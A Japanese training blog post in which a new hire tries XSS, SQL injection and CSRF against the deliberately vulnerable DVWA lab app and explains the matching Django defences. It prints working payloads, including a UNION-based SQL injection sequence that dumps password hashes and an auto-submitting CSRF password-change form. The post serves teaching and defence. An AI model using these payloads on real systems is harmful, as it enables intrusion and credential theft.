Webセキュリティ入門:XSS・SQLインジェクション・CSRFを実際に試してみた

Webセキュリティ入門:XSS・SQLインジェクション・CSRFを実際に試してみた

2026.06.01

はじめに

新卒研修でDjangoを学ぶ中で、セキュリティに関する学習をする機会がありました。今回はDVWA(Damn Vulnerable Web Application)という学習用の脆弱なWebアプリケーションを使って、新卒研修で学んだ中の代表的な3つの攻撃手法を実際に試してみました。


環境

  • DVWA(Docker上で動作)
  • セキュリティレベル:Low
  • ブラウザ:Chrome

1. XSS(クロスサイトスクリプティング)

概要

XSSは悪意あるスクリプトをWebページに埋め込む攻撃です。ユーザーのクッキーを盗んだり、フィッシングページを表示させたりすることができます。

種類

種類 特徴
Reflected URLに仕込む・一時的
Stored DBに保存・永続的・最も危険
DOM Based ブラウザ側で発生・サーバーログに残りにくい

実験手順

DVWAのXSS (Reflected)ページで以下を入力しました。

<script>alert('XSS TEST')</script>

結果

アラートが表示され、スクリプトが実行されることを確認しました。
アラート

対策

Djangoの{{ }}テンプレートタグは自動でHTMLエスケープするため、XSS対策になっています。

# Djangoでの対策例
return render(request, "template.html", {"input": user_input})
<!-- template.html -->
{{ input }}  <!-- 自動でエスケープされる -->

2. SQLインジェクション

概要

SQLインジェクションはユーザーの入力値にSQL文を混入させてDBを不正操作する攻撃です。データの漏洩・改ざん・削除が可能になります。

実験手順・結果

Step1. まず全ユーザーが取得できるか確認

1' OR '1'='1

id取得

Step2. DBのバージョンと接続ユーザーを調査

1' UNION SELECT user(), version()-- -

バージョン取得
→ 使用しているDBの種類やバージョン、権限を把握する

Step3. テーブル名を調査

1' UNION SELECT table_name, NULL FROM information_schema.tables-- -

テーブル名
→ usersテーブルの存在を確認

Step4. カラム名を調査

1' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users'-- -

カラム名
→ user、passwordというカラムの存在を確認

Step5. パスワードを抜き出す

1' UNION SELECT user, password FROM users-- -

pw
→ 実際にパスワードハッシュを取得

仕組み

DVWAのソースコードを確認したところ、以下のようになっていました。

$id = $_REQUEST[ 'id' ];  // ユーザーの入力をそのまま取得
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";  // そのままSQL文に埋め込む

攻撃入力1' OR '1'='1を代入するとSQLがこのように変化します。

-- 通常(id=1を入力)
SELECT first_name, last_name FROM users WHERE user_id = '1';

-- 攻撃後(1' OR '1'='1を入力)
SELECT first_name, last_name FROM users WHERE user_id = '1' OR '1'='1';
-- '1'='1'は常にtrueなので全件取得される

対策

プレースホルダーを使うことでSQLインジェクションを防げます。Djangoでの実装は以下のようになります。

# Djangoでの対策例
cursor.execute("SELECT first_name, last_name FROM users WHERE user_id = %s", [user_id])

3. CSRF(クロスサイトリクエストフォージェリ)

概要

CSRFはユーザーが意図しないリクエストを悪意あるサイトから送らせる攻撃です。ログイン済みのセッションを悪用します。

実験手順

以下のHTMLファイルを作成して別オリジンから送信しました。

<html>
<body onload="document.csrf.submit()">
    <form name="csrf" method="GET" 
          action="http://localhost/vulnerabilities/csrf/">
        <input type="hidden" name="password_new" value="hacked">
        <input type="hidden" name="password_conf" value="hacked">
        <input type="hidden" name="Change" value="Change">
    </form>
</body>
</html>

結果

DVWAにログインしたままこのHTMLを開くとパスワードがhackedに変更されました。
changed

対策

DjangoはデフォルトでCSRF対策が組み込まれています。

<!-- Djangoでの対策例 -->
<form method="post">
<!-- フォームに{% csrf_token %}を追加する -->
    {% csrf_token %} 
</form>

まとめ

攻撃 原因 対策
XSS 入力値をそのままHTMLに出力 エスケープ処理
SQLインジェクション 入力値をそのままSQLに埋め込む プレースホルダー
CSRF 送信元の正当性を検証しない CSRFトークン

今回の実験を通じて、『ユーザーの入力値を信頼しない』というセキュリティの基本原則の重要性を改めて実感しました。Djangoはこれらの対策が標準で組み込まれていますが、その仕組みを理解した上で使うことが大切だと感じました。


クラスメソッドオペレーションズ株式会社について

クラスメソッドグループのオペレーション企業です。
運用・保守開発・サポート・情シス・バックオフィスの専門チームが、IT・AIをフル活用した「しくみ」を通じて、お客様の業務代行から課題解決や高付加価値サービスまでを提供するエキスパート集団です。
当社は様々な職種でメンバーを募集しています。
「オペレーション・エクセレンス」と「らしく働く、らしく生きる」を共に実現するカルチャー・しくみ・働き方にご興味がある方は、クラスメソッドオペレーションズ株式会社 コーポレートサイトをぜひご覧ください。
※2026年1月 アノテーション㈱から社名変更しました。

この記事をシェアする

関連記事